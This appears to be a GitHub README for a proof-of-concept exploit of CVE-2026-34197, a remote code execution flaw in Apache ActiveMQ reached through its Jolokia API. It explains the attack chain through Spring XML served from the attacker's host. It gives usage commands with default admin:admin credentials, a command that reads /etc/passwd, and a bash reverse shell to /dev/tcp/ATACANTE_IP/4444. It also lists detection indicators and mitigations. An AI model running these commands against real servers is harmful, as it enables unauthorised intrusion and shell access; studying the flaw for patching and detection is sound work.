DEVSECURITYSPRO/CVE-2026-34197

GitHub: DEVSECURITYSPRO/CVE-2026-34197

针对 Apache ActiveMQ Jolokia 端点漏洞(CVE-2026-34197)的远程代码执行概念验证利用工具。

Stars: 3 | Forks: 0

# CVE-2026-34197 — 通过 Jolokia API 的 Apache ActiveMQ RCE ## 描述 CVE-2026-34197 是 Apache ActiveMQ Classic 中的一个远程代码执行 (RCE) 漏洞,它允许攻击者通过 Web 控制台暴露的 Jolokia API 在服务器操作系统上执行任意命令。 该漏洞存在已超过 13 年,源于多个组件之间的交互:Jolokia(HTTP-JMX 桥接)、ActiveMQ MBean、网络连接器和 VM 传输。 ## 漏洞信息 | 字段 | 详情 | |---|---| | CVE ID | CVE-2026-34197 | | 类型 | RCE (Remote Code Execution) | | CWE | CWE-20 (输入验证不当), CWE-94 (代码注入) | | 受影响版本 | ActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2 | | 已修复版本 | 5.19.4, 6.2.3 | | 需要认证 | 是 (常见的默认凭据 `admin:admin`) | | 无需认证版本 | 6.0.0 — 6.1.1 (因 CVE-2024-32114) | | 默认端口 | 8161 (Web 控制台) | ## 利用机制 攻击链工作原理如下: 1. 攻击者向 `/api/jolokia/` 发送 POST 请求,调用 broker MBean 的 `addNetworkConnector` 操作。 2. 参数包含一个使用 `vm://` 传输的 URI,该 URI 指向一个不存在的 broker。 3. ActiveMQ 尝试动态创建该 broker,并接受指向远程 URL 的 `brokerConfig` 参数。 4. `xbean:` 架构指示该资源是一个 Spring XML 配置文件。 5. Spring 实例化 XML 中定义的所有 bean,包括执行 `Runtime.getRuntime().exec()` 的 bean。 6. 服务器上执行任意命令。 ``` Atacante ActiveMQ (víctima) | | |-- POST /api/jolokia/ ------------>| | addNetworkConnector( | | vm://rce?brokerConfig= | | xbean:http://ATACANTE/x.xml) | | | | |-- Crea broker VM | |-- Descarga x.xml |<-- GET /x.xml --------------------| |-- Responde con payload XML ------>| | |-- Spring instancia beans | |-- Runtime.exec(COMANDO) | | ``` ## 项目结构 ``` CVE-2026-34197/ ├── README.md # Este archivo ├── exploit.py # PoC principal ├── payloads/ │ └── template.xml # Plantilla del payload Spring XML ├── docker/ │ └── docker-compose.yml # Entorno de laboratorio vulnerable └── LICENSE ``` ## 要求 - Python 3.8+ - 模块:`requests`、`http.server`、`argparse` (stdlib) - 能够访问目标 8161 端口的网络 - Docker 和 Docker Compose (可选,用于实验室环境) ``` pip install requests ``` ## 使用方法 ### 1. 搭建漏洞环境 (可选) ``` cd docker docker-compose up -d ``` 这会在 `localhost:8161` 上启动一个存在漏洞的 ActiveMQ Classic 5.18.6。 ### 2. 运行利用程序 ``` # 使用默认凭证的基本用法 python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id" # 指定凭证 python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "whoami" -u admin -p admin # 指定 payload HTTP 服务器端口 python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -lp 9999 -c "cat /etc/passwd" # 无身份验证模式 (ActiveMQ 6.0.0 - 6.1.1) python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id" --no-auth # 反向 Shell python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1" ``` ### 参数 | 参数 | 描述 | |---|---| | `-t, --target` | 目标基础 URL (例如:`http://10.0.0.1:8161`) | | `-l, --lhost` | 用于提供 XML payload 的攻击者 IP | | `-lp, --lport` | 本地 HTTP 服务器端口 (默认:8888) | | `-c, --command` | 要在目标上执行的命令 | | `-u, --user` | 用户名 (默认:`admin`) | | `-p, --password` | 密码 (默认:`admin`) | | `--no-auth` | 不发送凭据 (适用于 6.0.0 - 6.1.1 版本) | | `--broker-name` | Broker 名称 (默认:`localhost`) | ## 检测 ActiveMQ Broker 日志中的指标: ``` INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml ``` 其他指标: - 发往 `/api/jolokia/` 且正文中包含 `addNetworkConnector` 的 POST 请求 - 从 ActiveMQ 进程发往意外主机的出站 HTTP 连接 - 由 ActiveMQ Java 进程产生的意外子进程 ## 缓解措施 - 升级至 ActiveMQ Classic 5.19.4 或 6.2.3 - 更改 Web 控制台的默认凭据 - 限制对 8161 端口的网络访问 - 监控 Broker 日志,查找带有 `brokerConfig=xbean:http` 的 `vm://` URI ## 参考资料 - [NVD — CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) - [Horizon3 — 技术分析](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) - [Apache ActiveMQ — 安全公告](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) - [CVE-2024-32114 — Jolokia 无需认证](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) - [CVE-2023-46604 — RCE OpenWire (CISA KEV)](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) ## 作者 由 [KONDOR DEV SECURITY](https://t.me/KONDORDEVSECURITY) 创建 [![Telegram](https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-blue?logo=telegram)](https://t.me/KONDORDEVSECURITY) ## 法律声明 本 PoC 仅供教育和安全研究目的提供。在未经明确授权的情况下对系统使用此工具是非法的。作者不对本工具的误用负责。 ## 许可证 MIT — Copyright (c) 2026 [KONDOR DEV SECURITY](https://t.me/KONDORDEVSECURITY)
标签:0day, Apache ActiveMQ, CISA项目, CVE-2026-34197, JMX, Jolokia, MBean, PoC, RCE, Spring XML, VM Transport, Web安全, xbean, 中间件安全, 反序列化, 威胁模拟, 暴力破解, 编程工具, 网络安全, 蓝队分析, 请求拦截, 远程代码执行, 逆向工具, 隐私保护